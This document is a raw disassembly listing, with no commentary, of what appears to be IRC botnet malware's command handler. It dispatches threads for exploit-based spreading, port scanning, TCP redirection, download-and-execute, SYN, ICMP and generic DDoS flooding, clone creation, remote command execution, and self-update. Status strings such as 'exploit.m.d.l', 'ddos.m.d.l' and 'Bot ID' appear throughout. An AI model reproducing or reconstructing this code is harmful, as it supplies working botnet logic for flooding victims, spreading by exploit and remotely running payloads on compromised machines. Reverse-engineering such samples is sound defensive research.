		lea	eax, [ebp+var_330]
		push	30h
		push	eax
		call	sub_415440
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40F98B


loc_40F9AD:				; CODE XREF: sub_40CC09+2D80j
					; sub_40CC09+2D84j
		mov	[ebp+var_1F0], 1
		jmp	short loc_40F9BF
; ---------------------------------------------------------------------------


loc_40F9B9:				; CODE XREF: sub_40CC09+2D5Aj
		mov	[ebp+var_1F0], ebx


loc_40F9BF:				; CODE XREF: sub_40CC09+2CDDj
					; sub_40CC09+2DAEj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_220], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_320]
		push	edi
		push	eax
		call	sub_413D8A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FA10


loc_40F9FD:				; CODE XREF: sub_40CC09+2E2Aj
		push	esi


loc_40F9FE:				; CODE XREF: sub_40CC09+2E14j
		lea	eax, [ebp+var_2A0]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_40FA3B
; ---------------------------------------------------------------------------


loc_40FA10:				; CODE XREF: sub_40CC09+2DF2j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FA1F
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FA1F
		push	eax
		jmp	short loc_40F9FE
; ---------------------------------------------------------------------------


loc_40FA1F:				; CODE XREF: sub_40CC09+2E0Cj
					; sub_40CC09+2E11j
		mov	esi, offset off_42A3DC
		push	offset byte_438A10
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F9FD
		mov	[ebp+var_2A0], bl


loc_40FA3B:				; CODE XREF: sub_40CC09+2E05j
		cmp	[ebp+var_1F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FA4D
		mov	eax, offset aSequential	; "Sequential"


loc_40FA4D:				; CODE XREF: sub_40CC09+2E3Dj
		push	[ebp+var_204]
		lea	ecx, [ebp+var_330]
		push	[ebp+var_214]
		push	[ebp+var_218]
		push	[ebp+var_21C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExplo_1 ; ".e.(1.0b) ( exploit.m.d.l ) ..  %s Ex"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	8
		push	eax
		call	sub_4132BE
		add	esp, 2Ch
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_330]
		push	ebx
		push	eax
		push	offset sub_406782
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_210]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FADB


loc_40FAC5:				; CODE XREF: sub_40CC09+2ED0j
		cmp	[ebp+var_1EC], ebx
		jnz	loc_411957
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40FAC5
; ---------------------------------------------------------------------------


loc_40FADB:				; CODE XREF: sub_40CC09+2EBAj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bExplo_2 ; ".e.(1.0b) ( exploit.m.d.l ) ..  Faile"...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_40FAEC:				; CODE XREF: sub_40CC09+231Ej
					; sub_40CC09+2335j
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		cmp	byte_452140[eax], bl
		jz	loc_41217B
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		call	sub_413E90
		push	edi
		mov	esi, eax
		call	sub_413E90
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		lea	eax, [ebp+var_1C4]
		push	esi
		push	offset dword_432F38
		push	eax
		call	sub_413812
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_41217B
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B2B5
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		add	esp, 18h
		cmp	byte ptr dword_452028[eax], 73h
		jnz	loc_41217B
		push	esi
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		add	eax, offset byte_452140
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40FBD4:				; CODE XREF: sub_40CC09+30C8j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5


loc_40FBF9:				; CODE XREF: sub_40CC09+4E2Dj
		add	esp, 28h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_40FC01:				; CODE XREF: sub_40CC09+22F0j
					; sub_40CC09+2307j
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		cmp	byte_452140[eax], bl
		jz	loc_41217B
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		call	sub_413E90
		push	edi
		mov	esi, eax
		call	sub_413E90
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_41217B
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B2B5
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		add	esp, 18h
		cmp	byte ptr dword_452028[eax], 73h
		jnz	loc_41217B
		push	esi
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		add	eax, offset byte_452140
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	<%s> %s"
		jmp	loc_40FBD4
; ---------------------------------------------------------------------------


loc_40FCD6:				; CODE XREF: sub_40CC09+22C2j
					; sub_40CC09+22D9j
		push	edi
		call	dword_44CD18	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_360], eax
		call	sub_413D7F
		push	[ebp+arg_0]
		mov	[ebp+var_36C], eax
		call	sub_413D7F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_368], eax
		lea	eax, [ebp+var_3EC]
		mov	[ebp+var_3F0], esi
		push	eax
		call	sub_415140
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_358], edi
		push	[ebp+var_368]
		mov	[ebp+var_354], eax
		push	[ebp+var_36C]
		push	[ebp+var_360]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bPortsca ; ".e.(1.0b) ( portscan.m.d.l ) ..  Port"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	8
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	ebx
		push	eax
		push	offset sub_412BED
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_364]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FDB8


loc_40FDA2:				; CODE XREF: sub_40CC09+31ADj
		cmp	[ebp+var_350], ebx
		jnz	loc_411838
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40FDA2
; ---------------------------------------------------------------------------


loc_40FDB8:				; CODE XREF: sub_40CC09+3197j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bPorts_0 ; ".e.(1.0b) ( portscan.m.d.l ) ..  Fail"...
		jmp	loc_411829
; ---------------------------------------------------------------------------


loc_40FDC9:				; CODE XREF: sub_40CC09+2294j
					; sub_40CC09+22ABj
		push	edi
		call	sub_413D7F
		push	7Fh
		mov	[ebp+var_200], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_415140
		push	[ebp+arg_0]
		call	sub_413D7F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_204], eax
		lea	eax, [ebp+var_284]
		push	80h
		push	eax
		mov	[ebp+var_30C], esi
		call	sub_413D8A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		push	[ebp+var_204]
		lea	eax, [ebp+var_304]
		mov	[ebp+var_1F4], edi
		push	eax
		push	[ebp+var_200]
		push	esi
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bRedirec ; ".e.(1.0b) ( redirect.m.d.l ) ..  TCP "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	10h
		push	eax
		call	sub_4132BE
		add	esp, 24h
		mov	[ebp+var_1FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_30C]
		push	ebx
		push	eax
		push	offset sub_4069E1
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_1FC]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FEB2


loc_40FE9C:				; CODE XREF: sub_40CC09+32A7j
		cmp	[ebp+var_1EC], ebx
		jnz	loc_411838
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40FE9C
; ---------------------------------------------------------------------------


loc_40FEB2:				; CODE XREF: sub_40CC09+3291j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bRedir_0 ; ".e.(1.0b) ( redirect.m.d.l ) ..  Fail"...
		jmp	loc_411829
; ---------------------------------------------------------------------------


loc_40FEC3:				; CODE XREF: sub_40CC09+2266j
					; sub_40CC09+227Dj
		push	0FFh
		lea	eax, [ebp+var_688]
		push	edi
		push	eax
		call	sub_415140
		push	0FFh
		lea	eax, [ebp+var_588]
		push	[ebp+arg_18]
		push	eax
		call	sub_415140
		push	[ebp+arg_0]
		mov	[ebp+var_484], ebx
		call	sub_413D7F
		mov	[ebp+var_480], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40FF1F
		push	10h
		push	ebx
		push	eax
		call	sub_414D0A
		add	esp, 0Ch
		mov	[ebp+var_478], eax
		jmp	short loc_40FF25
; ---------------------------------------------------------------------------


loc_40FF1F:				; CODE XREF: sub_40CC09+3300j
		mov	[ebp+var_478], ebx


loc_40FF25:				; CODE XREF: sub_40CC09+3314j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40FF3C
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_47C], eax
		jmp	short loc_40FF42
; ---------------------------------------------------------------------------


loc_40FF3C:				; CODE XREF: sub_40CC09+3322j
		mov	[ebp+var_47C], ebx


loc_40FF42:				; CODE XREF: sub_40CC09+3331j
		movzx	eax, [ebp+var_8AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_708]
		mov	[ebp+var_70C], esi
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_470], eax
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDownloa ; ".e.(1.0b) ( download.m.d.l ) ..  Down"...
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_1C4]
		push	16h
		push	eax
		call	sub_4132BE
		add	esp, 28h
		mov	[ebp+var_488], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_70C]
		push	ebx
		push	eax
		push	offset sub_40A3AD
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_488]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FFF0


loc_40FFDA:				; CODE XREF: sub_40CC09+33E5j
		cmp	[ebp+var_468], ebx
		jnz	loc_40F653
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40FFDA
; ---------------------------------------------------------------------------


loc_40FFF0:				; CODE XREF: sub_40CC09+33CFj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bDownl_0 ; ".e.(1.0b) ( download.m.d.l ) ..  Fail"...
		jmp	loc_4101F3
; ---------------------------------------------------------------------------


loc_410001:				; CODE XREF: sub_40CC09+2238j
					; sub_40CC09+224Fj
		push	7Fh
		lea	eax, [ebp+var_674]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_5F4]
		push	[ebp+arg_18]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_574]
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_4F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_46C], eax


loc_410054:				; DATA XREF: .data:0042240Do
					; .data:004231FDo
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_678], eax
		lea	eax, [ebp+var_1C4]
		push	edi
		push	offset a_e_1_0bSyn_m_d ; ".e.(1.0b) ( syn.m.d.l	) ..	Flooding:"...
		push	eax
		mov	[ebp+var_470], esi
		call	sub_413812
		add	esp, 44h
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	0Bh
		push	eax
		call	sub_4132BE
		add	esp, 0Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_678]
		push	ebx
		push	eax
		push	offset sub_40182F
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4100D4


loc_4100C2:				; CODE XREF: sub_40CC09+34C9j
		cmp	[ebp+var_468], ebx
		jnz	short loc_4100EF
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4100C2
; ---------------------------------------------------------------------------


loc_4100D4:				; CODE XREF: sub_40CC09+34B7j
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bSyn_m_0 ; ".e.(1.0b) ( syn.m.d.l	) ..	Failed to"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_4100EF:				; CODE XREF: sub_40CC09+34BFj
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	esi
		jmp	loc_411964
; ---------------------------------------------------------------------------


loc_4100FF:				; CODE XREF: sub_40CC09+21F3j
					; sub_40CC09+220Aj ...
		push	7Fh
		lea	eax, [ebp+var_6F0]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_670]
		push	[ebp+arg_18]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_5F0]
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_570]
		push	[ebp+var_8C]
		push	eax
		call	sub_415140
		push	20h
		lea	eax, [ebp+var_4F0]
		push	[ebp+arg_8]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_1C4]
		push	edi
		push	offset a_e_1_0bDdos_m_ ; ".e.(1.0b) ( ddos.m.d.l ) ..	 Flooding"...
		push	eax
		mov	[ebp+var_6F8], esi
		call	sub_413812
		add	esp, 50h
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	0Ah
		push	eax
		call	sub_4132BE
		add	esp, 0Ch
		mov	[ebp+var_6F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_6F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4101E7


loc_4101D1:				; CODE XREF: sub_40CC09+35DCj
		cmp	[ebp+var_468], ebx
		jnz	loc_40F653
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4101D1
; ---------------------------------------------------------------------------


loc_4101E7:				; CODE XREF: sub_40CC09+35C6j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bDdos__0 ; ".e.(1.0b) ( ddos.m.d.l ) ..	 Failed	t"...


loc_4101F3:				; CODE XREF: sub_40CC09+2A2Cj
					; sub_40CC09+2B85j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		jmp	loc_40F650
; ---------------------------------------------------------------------------


loc_410204:				; CODE XREF: sub_40CC09+21C5j
					; sub_40CC09+21DCj
		push	7Fh
		lea	eax, [ebp+var_344]
		push	edi
		push	eax
		call	sub_415140
		push	[ebp+arg_18]
		call	sub_413D7F
		push	3Fh
		mov	[ebp+var_1F4], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415140
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_410252
		push	3Fh
		lea	eax, [ebp+var_284]
		push	esi
		push	eax
		call	sub_415140
		add	esp, 0Ch


loc_410252:				; CODE XREF: sub_40CC09+3635j
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_1F0], 1
		push	eax
		lea	eax, [ebp+var_344]
		push	[ebp+var_1F4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bClones_ ; ".e.(1.0b) ( clones.m.d.l ) ..  Create"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	18h
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_1EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_348]
		push	ebx
		push	eax
		push	offset sub_40C929
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_1EC]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4102DE


loc_4102C8:				; CODE XREF: sub_40CC09+36D3j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_40F1B2
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4102C8
; ---------------------------------------------------------------------------


loc_4102DE:				; CODE XREF: sub_40CC09+36BDj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bClone_0 ; ".e.(1.0b) ( clones.m.d.l ) ..  Failed"...
		jmp	loc_40F1A3
; ---------------------------------------------------------------------------


loc_4102EF:				; CODE XREF: sub_40CC09+2185j
					; sub_40CC09+219Cj
		push	[ebp+arg_18]
		call	sub_413D7F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_478], eax
		jle	loc_4103E0
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_413D8A
		xor	eax, eax
		cmp	[ebp+var_8A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_474], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_604], eax
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		push	edi
		push	offset a_e_1_0bIcmp_m_ ; ".e.(1.0b) ( icmp.m.d.l ) ..	 Flooding"...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Dh
		push	eax
		call	sub_4132BE
		add	esp, 38h
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_604]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_480]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4103CF


loc_4103B9:				; CODE XREF: sub_40CC09+37C4j
		cmp	[ebp+var_468], ebx
		jnz	loc_411957
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4103B9
; ---------------------------------------------------------------------------


loc_4103CF:				; CODE XREF: sub_40CC09+37AEj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bIcmp__0 ; ".e.(1.0b) ( icmp.m.d.l ) ..	 Failed	t"...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_4103E0:				; CODE XREF: sub_40CC09+36F7j
		push	offset a_e_1_0bIcmp__1 ; ".e.(1.0b) ( icmp.m.d.l ) ..	 Invalid "...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_4103EA:				; CODE XREF: sub_40CC09+2157j
					; sub_40CC09+216Ej
		push	[ebp+arg_18]
		push	edi
		call	ds:off_41F134
		test	eax, eax
		jz	short loc_410417
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1C4]
		push	edi
		push	offset a_e_1_0bFile_m_ ; ".e.(1.0b) ( file.m.d.l ) ..	 Rename: "...
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	short loc_410436
; ---------------------------------------------------------------------------


loc_410417:				; CODE XREF: sub_40CC09+37EDj
		push	offset a_e_1_0bFile__0 ; ".e.(1.0b) ( file.m.d.l ) ..	"
		call	sub_4084F4
		push	eax
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h


loc_410436:				; CODE XREF: sub_40CC09+1B8Dj
					; sub_40CC09+1BBDj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_410457
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_410457:				; CODE XREF: sub_40CC09+7E4j
					; sub_40CC09+9A4j ...
		push	1
		pop	esi


loc_41045A:				; CODE XREF: sub_40CC09+3AABj
					; sub_40CC09+42F0j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		pop	ecx
		mov	eax, esi
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_41046E:				; CODE XREF: sub_40CC09+2129j
					; sub_40CC09+2140j
		push	44h
		lea	eax, [ebp+var_38C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_413890
		push	1
		mov	[ebp+var_38C], esi
		pop	esi
		mov	word ptr [ebp+var_35C],	bx
		push	edi
		mov	[ebp+var_360], esi
		call	sub_413D7F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4104AB
		mov	word ptr [ebp+var_35C],	5


loc_4104AB:				; CODE XREF: sub_40CC09+3897j
		cmp	[ebp+var_C], ebx
		jz	loc_40F1B2
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F1B2
		lea	eax, [ebp+var_1D8]
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_41F0D4	; CreateProcessA
		test	eax, eax
		jnz	short loc_4104F6
		push	offset a_e_1_0bExec_m_ ; ".e.(1.0b) ( exec.m.d.l ) ..	 Couldn't"...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_4104F6:				; CODE XREF: sub_40CC09+38E1j
		push	edi
		push	offset a_e_1_0bExec__0 ; ".e.(1.0b) ( exec.m.d.l ) ..	 Commands"...
		jmp	loc_40F1A3
; ---------------------------------------------------------------------------


loc_410501:				; CODE XREF: sub_40CC09+20FBj
					; sub_40CC09+2112j
		push	[ebp+arg_18]
		push	offset aNt801	; "nt801"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41067D
		lea	eax, [ebp+var_2E8]
		push	eax
		push	104h
		call	ds:off_41F0E0
		push	0FFh
		lea	eax, [ebp+var_688]
		push	edi
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_4127AA
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		lea	eax, [ebp+var_588]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_413812
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_484], 1
		mov	[ebp+var_480], ebx
		jz	short loc_410593
		push	10h
		push	ebx
		push	eax
		call	sub_414D0A
		add	esp, 0Ch
		mov	[ebp+var_478], eax
		jmp	short loc_410599
; ---------------------------------------------------------------------------


loc_410593:				; CODE XREF: sub_40CC09+3974j
		mov	[ebp+var_478], ebx


loc_410599:				; CODE XREF: sub_40CC09+3988j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_4105B3
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_47C], eax
		jmp	short loc_4105B9
; ---------------------------------------------------------------------------


loc_4105B3:				; CODE XREF: sub_40CC09+3999j
		mov	[ebp+var_47C], ebx


loc_4105B9:				; CODE XREF: sub_40CC09+39A8j
		movzx	eax, [ebp+var_8AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_708]
		mov	[ebp+var_70C], esi
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bUpdate_ ; ".e.(1.0b) ( update.m.d.l ) ..  Downlo"...
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_1C4]
		push	17h
		push	eax
		call	sub_4132BE
		add	esp, 24h
		mov	[ebp+var_488], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_70C]
		push	ebx
		push	eax
		push	offset sub_40A3AD
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_488]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_410660


loc_41064E:				; CODE XREF: sub_40CC09+3A55j
		cmp	[ebp+var_468], ebx
		jnz	short loc_410690
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_41064E
; ---------------------------------------------------------------------------


loc_410660:				; CODE XREF: sub_40CC09+3A43j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bUpdat_0 ; ".e.(1.0b) ( update.m.d.l ) ..  Failed"...


loc_41066C:				; CODE XREF: sub_40CC09+40FEj
					; sub_40CC09+4334j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812


loc_410678:				; CODE XREF: sub_40CC09+4CC6j
		add	esp, 0Ch
		jmp	short loc_410690
; ---------------------------------------------------------------------------


loc_41067D:				; CODE XREF: sub_40CC09+3909j
		push	offset a_e_1_0bUpdat_1 ; ".e.(1.0b) ( update.m.d.l ) ..  Bot ID"...


loc_410682:				; CODE XREF: sub_40CC09+1C12j
					; sub_40CC09+1C96j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_410690:				; CODE XREF: sub_40CC09+1C1Aj
					; sub_40CC09+1C74j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4106B1
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4106B1:				; CODE XREF: sub_40CC09+3A8Aj
					; sub_40CC09+40F3j ...
		mov	esi, [ebp+arg_24]
		jmp	loc_41045A
; ---------------------------------------------------------------------------


loc_4106B9:				; CODE XREF: sub_40CC09+20CDj
					; sub_40CC09+20E4j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFCD
		cmp	[ebp+var_C], ebx
		jz	loc_40CFCD
